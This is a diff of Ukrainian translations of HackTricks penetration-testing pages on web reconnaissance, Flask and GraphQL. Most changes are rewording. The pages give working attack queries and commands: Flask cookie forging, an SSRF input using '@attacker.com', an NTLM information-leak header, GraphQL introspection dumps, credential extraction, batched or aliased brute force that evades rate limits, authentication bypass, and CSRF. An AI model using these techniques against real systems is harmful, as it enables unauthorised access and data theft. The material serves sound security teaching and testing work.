- Якщо ви граєте в **CTF**, "звичайний" трюк - це **сховати** **інформацію** всередині коментарів праворуч від **сторінки** (використовуючи **сотні** **пробілів**, щоб ви не бачили дані, якщо відкриєте вихідний код у браузері). Інша можливість - використовувати **кілька нових рядків** та **сховати інформацію** в коментарі в **нижній частині** веб-сторінки.
|
||||
- **API ключі**: Якщо ви **знайдете будь-який API ключ**, є посібник, який вказує, як використовувати API ключі різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
- **API ключі**: Якщо ви **знайдете будь-який API ключ**, є посібник, який вказує, як використовувати API ключі різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API ключі: Якщо ви знайдете будь-який API ключ, що виглядає як **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, ви можете використовувати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), щоб перевірити, до яких API ключ може отримати доступ.
|
||||
- **S3 Buckets**: Під час spidering перевірте, чи є якийсь **субдомен** або будь-яке **посилання**, пов'язане з якимось **S3 bucket**. У такому випадку, [**перевірте** **дозволи** на bucket](buckets/).
|
||||
- **S3 Buckets**: Під час spidering перевірте, чи є якийсь **субдомен** або будь-яке **посилання**, пов'язане з якимось **S3 bucket**. У такому випадку, [**перевірте** **дозволи** на bucket](buckets/index.html).
|
||||
|
||||
### Спеціальні знахідки
|
||||
|
||||
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам слід **звернути увагу**.
|
||||
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам потрібно **звернути увагу**.
|
||||
|
||||
**Цікаві файли**
|
||||
|
||||
- Шукайте **посилання** на інші файли всередині **CSS** файлів.
|
||||
- [Якщо ви знайдете файл _**.git**_, можна витягнути деяку інформацію](git.md).
|
||||
- [Якщо ви знайдете файл _**.git**_, з нього можна витягнути деяку інформацію](git.md).
|
||||
- Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як API ключі, паролі бази даних та іншу інформацію.
|
||||
- Якщо ви знайдете **API кінцеві точки**, ви [також повинні їх протестувати](web-api-pentesting.md). Це не файли, але, ймовірно, "виглядатимуть" як вони.
|
||||
- **JS файли**: У розділі spidering згадувалися кілька інструментів, які можуть витягувати шляхи з JS файлів. Також було б цікаво **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміна може вказувати на те, що потенційна вразливість була введена в код. Ви можете використовувати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Вам також слід перевірити виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole), щоб дізнатися, чи є вони вразливими.
|
||||
- **Javascript Deobfuscator та Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
- **JsFuck deobfuscation** (javascript з символами:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
|
||||
- **Javascript Deobfuscator та Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript з символами:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- У кількох випадках вам потрібно буде **зрозуміти регулярні вирази**, що використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Ви також можете **моніторити файли, в яких були виявлені форми**, оскільки зміна параметра або поява нової форми може вказувати на потенційно нову вразливу функціональність.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (обхід)**
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
{{#ref}}
|
||||
403-and-401-bypasses.md
|
||||
@ -308,11 +308,11 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Якщо будь-яка сторінка **відповідає** з цим **кодом**, це, ймовірно, **погано налаштований проксі**. **Якщо ви надішлете HTTP запит, наприклад: `GET https://google.com HTTP/1.1`** (з заголовком хоста та іншими загальними заголовками), **проксі** спробує **доступитися** _**google.com**_ **і ви знайдете** SSRF.
|
||||
Якщо будь-яка сторінка **відповідає** з цим **кодом**, це, ймовірно, **погано налаштований проксі**. **Якщо ви надішлете HTTP запит, наприклад: `GET https://google.com HTTP/1.1`** (з заголовком хоста та іншими загальними заголовками), **проксі** спробує **доступитися** до _**google.com**_ **і ви знайдете** SSRF.
|
||||
|
||||
**NTLM Authentication - Розкриття інформації**
|
||||
**NTLM Authentication - Інформаційний витік**
|
||||
|
||||
Якщо працюючий сервер запитує аутентифікацію **Windows** або ви знаходите вхід, що запитує ваші **облікові дані** (і запитує **ім'я домену**), ви можете спровокувати **розкриття інформації**.\
|
||||
Якщо працюючий сервер запитує аутентифікацію **Windows** або ви знаходите вхід, що запитує ваші **облікові дані** (і запитує **ім'я домену**), ви можете спровокувати **витік інформації**.\
|
||||
**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
|
||||
Ви можете **автоматизувати** це, використовуючи **nmap плагін** "_http-ntlm-info.nse_".
|
||||
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Можливо, якщо ви граєте в CTF, додаток Flask буде пов'язаний з** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
|
||||
**Можливо, якщо ви граєте в CTF, додаток Flask буде пов'язаний з** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
|
||||
|
||||
## Cookies
|
||||
|
||||
Ім'я сесії за замовчуванням для cookie - **`session`**.
|
||||
Ім'я сесійного cookie за замовчуванням - **`session`**.
|
||||
|
||||
### Decoder
|
||||
|
||||
@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
```
|
||||
### **RIPsession**
|
||||
|
||||
Командний інструмент для брутфорсу вебсайтів, використовуючи куки, створені за допомогою flask-unsign.
|
||||
Командний рядок для брутфорсу вебсайтів, використовуючи куки, створені за допомогою flask-unsign.
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/Tagvi/ripsession
|
||||
@ -60,7 +60,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
|
||||
|
||||
[**Цей приклад**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) використовує sqlmap `eval` опцію для **автоматичного підписування payload'ів sqlmap** для flask, використовуючи відомий секрет.
|
||||
|
||||
## Flask Проксі до SSRF
|
||||
## Flask проксі для SSRF
|
||||
|
||||
[**У цьому описі**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) пояснюється, як Flask дозволяє запит, що починається з символу "@":
|
||||
```http
|
||||
@ -83,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content
|
||||
|
||||
app.run(host='0.0.0.0', port=8080)
|
||||
```
|
||||
Може дозволити ввести щось на зразок "@attacker.com", щоб викликати **SSRF**.
|
||||
Може дозволити ввести щось на кшталт "@attacker.com", щоб викликати **SSRF**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Вступ
|
||||
|
||||
GraphQL **підкреслюється** як **ефективна альтернатива** REST API, пропонуючи спрощений підхід до запитів даних з бекенду. На відміну від REST, який часто вимагає численних запитів через різні кінцеві точки для збору даних, GraphQL дозволяє отримувати всю необхідну інформацію через **один запит**. Це спрощення значно **вигідно для розробників**, зменшуючи складність їх процесів отримання даних.
|
||||
GraphQL **підкреслюється** як **ефективна альтернатива** REST API, пропонуючи спрощений підхід до запитів даних з бекенду. На відміну від REST, який часто вимагає численних запитів через різні кінцеві точки для збору даних, GraphQL дозволяє отримувати всю необхідну інформацію через **один запит**. Це спрощення значно **вигідне для розробників**, зменшуючи складність їх процесів отримання даних.
|
||||
|
||||
## GraphQL та безпека
|
||||
|
||||
З появою нових технологій, включаючи GraphQL, також виникають нові вразливості безпеки. Ключовим моментом є те, що **GraphQL за замовчуванням не включає механізми аутентифікації**. Відповідальність за впровадження таких заходів безпеки лежить на розробниках. Без належної аутентифікації кінцеві точки GraphQL можуть розкривати чутливу інформацію неаутентифікованим користувачам, що становить значний ризик для безпеки.
|
||||
|
||||
### Атаки методом грубої сили на каталоги та GraphQL
|
||||
### Атаки грубої сили на каталоги та GraphQL
|
||||
|
||||
Для виявлення відкритих екземплярів GraphQL рекомендується включення специфічних шляхів у атаки методом грубої сили на каталоги. Ці шляхи:
|
||||
Для виявлення відкритих екземплярів GraphQL рекомендується включення специфічних шляхів у атаки грубої сили на каталоги. Ці шляхи:
|
||||
|
||||
- `/graphql`
|
||||
- `/graphiql`
|
||||
@ -27,7 +27,7 @@ GraphQL **підкреслюється** як **ефективна альтер
|
||||
|
||||
### Відбиток
|
||||
|
||||
Інструмент [**graphw00f**](https://github.com/dolevf/graphw00f) здатний виявити, який движок GraphQL використовується на сервері, а потім виводить корисну інформацію для аудитора безпеки.
|
||||
Інструмент [**graphw00f**](https://github.com/dolevf/graphw00f) здатний виявити, який движок GraphQL використовується на сервері, а потім надрукувати корисну інформацію для аудитора безпеки.
|
||||
|
||||
#### Універсальні запити <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
@ -45,13 +45,13 @@ Graphql зазвичай підтримує **GET**, **POST** (x-www-form-urlenc
|
||||
```bash
|
||||
query={__schema{types{name,fields{name}}}}
|
||||
```
|
||||
Цей запит дозволить вам знайти назви всіх використовуваних типів:
|
||||
За допомогою цього запиту ви знайдете назву всіх типів, що використовуються:
|
||||
|
||||
.png>)
|
||||
```bash
|
||||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
||||
```
|
||||
Цей запит дозволяє витягти всі типи, їх поля та аргументи (а також типи аргументів). Це буде дуже корисно для розуміння того, як запитувати базу даних.
|
||||
За допомогою цього запиту ви можете витягти всі типи, їх поля та аргументи (а також типи аргументів). Це буде дуже корисно для того, щоб знати, як запитувати базу даних.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -162,17 +162,17 @@ name
|
||||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
Останній рядок коду - це запит graphql, який виведе всю метаінформацію з graphql (імена об'єктів, параметри, типи...)
|
||||
Останній рядок коду є запитом graphql, який виведе всю метаінформацію з graphql (імена об'єктів, параметри, типи...)
|
||||
|
||||
.png>)
|
||||
|
||||
Якщо інтроспекція увімкнена, ви можете використовувати [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager), щоб переглянути в графічному інтерфейсі всі опції.
|
||||
Якщо інтроспекція увімкнена, ви можете використовувати [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) для перегляду всіх опцій у графічному інтерфейсі.
|
||||
|
||||
### Запит
|
||||
### Запитування
|
||||
|
||||
Тепер, коли ми знаємо, який тип інформації зберігається в базі даних, давайте спробуємо **витягти деякі значення**.
|
||||
|
||||
В інтроспекції ви можете знайти **який об'єкт ви можете безпосередньо запитувати** (оскільки ви не можете запитувати об'єкт лише тому, що він існує). На наступному зображенні ви можете побачити, що "_queryType_" називається "_Query_", і що одне з полів об'єкта "_Query_" - це "_flags_", який також є типом об'єкта. Отже, ви можете запитати об'єкт прапора.
|
||||
В інтроспекції ви можете знайти **який об'єкт ви можете безпосередньо запитувати** (оскільки ви не можете запитувати об'єкт лише тому, що він існує). На наступному зображенні ви можете побачити, що "_queryType_" називається "_Query_", і що одне з полів об'єкта "_Query_" - це "_flags_", який також є типом об'єкта. Отже, ви можете запитувати об'єкт прапора.
|
||||
|
||||

|
||||
|
||||
@ -180,7 +180,7 @@ name
|
||||
|
||||
.png>)
|
||||
|
||||
Ви можете побачити, що об'єкти "_Flags_" складаються з **name** та **value**. Тоді ви можете отримати всі імена та значення прапорців за допомогою запиту:
|
||||
Ви можете побачити, що об'єкти "_Flags_" складаються з **name** та **value**. Тоді ви можете отримати всі імена та значення прапорів за допомогою запиту:
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
@ -192,7 +192,7 @@ query={flags{name, value}}
|
||||
```javascript
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
В іншому прикладі, де було 2 об'єкти всередині об'єкта типу "_Query_": "_user_" та "_users_".\
|
||||
В іншому прикладі було 2 об'єкти всередині об'єкта типу "_Query_": "_user_" та "_users_".\
|
||||
Якщо цим об'єктам не потрібні аргументи для пошуку, можна **отримати всю інформацію з них**, просто **попросивши** дані, які вам потрібні. У цьому прикладі з Інтернету ви могли б витягнути збережені імена користувачів та паролі:
|
||||
|
||||
.png>)
|
||||
@ -202,20 +202,20 @@ query = { hiddenFlags }
|
||||
.png>)
|
||||
|
||||
Схоже, що якимось чином він буде шукати, використовуючи аргумент "_**uid**_" типу _**Int**_.\
|
||||
В будь-якому випадку, ми вже знали, що в розділі [Basic Enumeration](graphql.md#basic-enumeration) було запропоновано запит, який показував нам всю необхідну інформацію: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
У будь-якому випадку, ми вже знали, що в розділі [Basic Enumeration](graphql.md#basic-enumeration) було запропоновано запит, який показував нам всю необхідну інформацію: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Якщо ви прочитаєте зображення, надане, коли я запускаю цей запит, ви побачите, що "_**user**_" мав **arg** "_**uid**_" типу _Int_.
|
||||
Якщо ви прочитаєте зображення, надане, коли я запускав цей запит, ви побачите, що "_**user**_" мав **arg** "_**uid**_" типу _Int_.
|
||||
|
||||
Отже, виконуючи легкий _**uid**_ брутфорс, я виявив, що при _**uid**=**1**_ було отримано ім'я користувача та пароль:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
|
||||
.png>)
|
||||
|
||||
Зверніть увагу, що я **виявив**, що можу запитувати **параметри** "_**user**_" та "_**password**_", тому що якщо я спробую шукати щось, що не існує (`query={user(uid:1){noExists}}`), я отримую цю помилку:
|
||||
Зверніть увагу, що я **виявив**, що можу запитати **параметри** "_**user**_" та "_**password**_", тому що якщо я спробую шукати щось, що не існує (`query={user(uid:1){noExists}}`), я отримую цю помилку:
|
||||
|
||||
.png>)
|
||||
|
||||
І під час **фази перерахунку** я виявив, що об'єкт "_**dbuser**_" мав поля "_**user**_" та "_**password**_.
|
||||
І під час **фази перерахунку** я виявив, що об'єкт "_**dbuser**_" має поля "_**user**_" та "_**password**_.
|
||||
|
||||
**Трюк з вивантаженням рядка запиту (дякую @BinaryShadow\_)**
|
||||
|
||||
@ -233,7 +233,7 @@ email
|
||||
}
|
||||
}
|
||||
```
|
||||
Ви можете **шукати** осіб **за** **іменем** та отримати їх **підписані** **фільми**:
|
||||
Ви можете **шукати** осіб **за** **іменем** і отримати їх **підписані** **фільми**:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
@ -258,7 +258,7 @@ name
|
||||
}
|
||||
}r
|
||||
```
|
||||
Або навіть **відносини кількох різних об'єктів за допомогою псевдонімів**:
|
||||
Або навіть **відносини кількох різних об'єктів, використовуючи псевдоніми**:
|
||||
```javascript
|
||||
{
|
||||
johnsMovieList: searchPerson(name: "John Doe") {
|
||||
@ -285,11 +285,11 @@ name
|
||||
|
||||
**Мутації використовуються для внесення змін на стороні сервера.**
|
||||
|
||||
У **інтроспекції** ви можете знайти **оголошені** **мутації**. На наступному зображенні "_MutationType_" називається "_Mutation_", а об'єкт "_Mutation_" містить назви мутацій (як "_addPerson_" у цьому випадку):
|
||||
У **інтроспекції** ви можете знайти **оголошені** **мутації**. На наступному зображенні "_MutationType_" називається "_Mutation_", а об'єкт "_Mutation_" містить назви мутацій (наприклад, "_addPerson_" у цьому випадку):
|
||||
|
||||
.png>)
|
||||
|
||||
У цій конфігурації **база даних** містить **осіб** та **фільми**. **Особи** ідентифікуються за їх **електронною поштою** та **іменем**; **фільми** за їх **іменем** та **рейтинговою оцінкою**. **Особи** можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних.
|
||||
У цій конфігурації **база даних** містить **осіб** та **фільми**. **Особи** ідентифікуються за їх **електронною поштою** та **іменем**; **фільми** за їх **назвою** та **рейтингу**. **Особи** можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних.
|
||||
|
||||
Мутація для **створення нових** фільмів у базі даних може виглядати як наступна (у цьому прикладі мутація називається `addMovie`):
|
||||
```javascript
|
||||
@ -334,12 +334,12 @@ releaseYear
|
||||
```
|
||||
### Директивне перевантаження
|
||||
|
||||
Як пояснено в [**одній з вразливостей, описаних у цьому звіті**](https://www.landh.tech/blog/20240304-google-hack-50000/), директивне перевантаження передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо вивести з ладу.
|
||||
Як пояснено в [**одній з вразливостей, описаних у цьому звіті**](https://www.landh.tech/blog/20240304-google-hack-50000/), директивне перевантаження передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо вивести з ладу (DoS).
|
||||
|
||||
### Пакетний брутфорс в 1 API запиті
|
||||
### Пакетна брутфорс-атака в 1 API запиті
|
||||
|
||||
Цю інформацію було взято з [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||
Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична атака брутфорсом, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетування GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, що намагається вгадати паролі.
|
||||
Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична брутфорс-атака, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетної обробки GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, який намагається вгадати паролі.
|
||||
|
||||
Нижче ви можете знайти найпростіше демонстраційне запит на аутентифікацію програми, з **3 різними парами електронна пошта/пароль одночасно**. Очевидно, що можливо відправити тисячі в одному запиті таким же чином:
|
||||
|
||||
@ -353,13 +353,13 @@ releaseYear
|
||||
|
||||
Все більше **graphql кінцевих точок відключають інспекцію**. Однак помилки, які graphql викидає, коли отримує несподіваний запит, достатні для інструментів, таких як [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), щоб відтворити більшу частину схеми.
|
||||
|
||||
Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, що проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, які проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Гарний **словник** для виявлення [**суб'єктів GraphQL можна знайти тут**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### Обхід захисту інспекції GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні недоліки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але можуть не бути враховані в regex, обмеження можна обійти. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти:
|
||||
Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні помилки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але які можуть не бути враховані в regex, можна обійти обмеження. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -411,7 +411,7 @@ file:* query
|
||||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||||
{{#endref}}
|
||||
|
||||
На зовні ви зможете знайти кілька GraphQL кінцевих точок **налаштованих без CSRF токенів.**
|
||||
Там ви зможете знайти кілька GraphQL кінцевих точок **налаштованих без CSRF токенів.**
|
||||
|
||||
Зверніть увагу, що запити GraphQL зазвичай надсилаються через POST запити з використанням Content-Type **`application/json`**.
|
||||
```javascript
|
||||
@ -421,19 +421,19 @@ file:* query
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
Отже, оскільки запити CSRF, подібні до попередніх, надсилаються **без попередніх запитів**, можливо **виконати** **зміни** в GraphQL, зловживаючи CSRF.
|
||||
Тому, оскільки запити CSRF, як і попередні, надсилаються **без попередніх запитів**, можливо **виконати** **зміни** в GraphQL, зловживаючи CSRF.
|
||||
|
||||
Однак зверніть увагу, що нове значення за замовчуванням куки для прапора `samesite` у Chrome - `Lax`. Це означає, що куки будуть надсилатися лише з веб-сайту третьої сторони в GET-запитах.
|
||||
|
||||
Зверніть увагу, що зазвичай можливо надіслати **запит** **запиту** також як **GET** **запит**, і токен CSRF може не перевірятися в GET-запиті.
|
||||
|
||||
Крім того, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/) **атака** може бути можливим ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача.
|
||||
Крім того, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/index.html) **атака** може бути можливим ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача.
|
||||
|
||||
Для отримання додаткової інформації **перевірте** [**оригінальний пост тут**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
## Викрадення WebSocket між сайтами в GraphQL
|
||||
|
||||
Подібно до вразливостей CRSF, зловживаючи graphQL, також можливо виконати **викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками** і змусити користувача виконувати несподівані дії в GraphQL.
|
||||
Подібно до вразливостей CRSF, зловживаючи GraphQL, також можливо виконати **викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками** і змусити користувача виконувати неочікувані дії в GraphQL.
|
||||
|
||||
Для отримання додаткової інформації перевірте:
|
||||
|
||||
@ -459,17 +459,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
|
||||
[Зв'язування запитів](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) разом може обійти слабку систему аутентифікації.
|
||||
|
||||
У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, у цьому випадку ми додаємо "register" і змінну користувача, щоб система зареєструвалася як новий користувач.
|
||||
У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, в даному випадку ми додаємо "register" і змінну користувача, щоб система зареєструвала його як нового користувача.
|
||||
|
||||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Обхід обмежень швидкості за допомогою псевдонімів у GraphQL
|
||||
|
||||
У GraphQL псевдоніми є потужною функцією, яка дозволяє **явно називати властивості** під час виконання запиту до API. Ця можливість особливо корисна для отримання **декількох екземплярів одного типу** об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям.
|
||||
У GraphQL псевдоніми - це потужна функція, яка дозволяє **явно називати властивості** під час виконання запиту до API. Ця можливість особливо корисна для отримання **кількох екземплярів одного типу** об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям.
|
||||
|
||||
Для детального розуміння псевдонімів GraphQL рекомендується наступний ресурс: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних запитах до API, було виявлено ненавмисне використання, при якому псевдоніми можуть бути використані для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження **кількості HTTP-запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості.
|
